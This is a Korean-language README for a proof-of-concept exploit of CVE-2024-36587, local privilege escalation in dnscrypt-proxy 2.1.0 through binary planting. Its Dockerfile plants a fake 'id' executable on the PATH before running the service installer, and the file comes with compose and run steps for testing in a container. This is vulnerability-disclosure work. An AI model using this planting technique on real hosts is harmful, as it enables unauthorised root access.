
CVE-2024-36587에 대한 개념 증명 익스플로잇으로, 바이너리 플랜팅을 통해 dnscrypt-proxy에서 로컬 권한 상승을 시연하며, Docker 기반 재현 환경을 포함합니다.
docker compose up --build
빌드 및 실행이 완료되면 컨테이너가 생성된다.
컨테이너 내부로 접속:
docker run -it --privileged dnscrypt-poc-poc bash
컨테이너 안에서:
/tmp/id
cat /tmp/poc_was_here
Pwned_from_Docker가 출력되면 PoC 성공.
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true

보다 자세한 분석 및 실습 결과는 다음 PDF 문서를 참고하면 된다: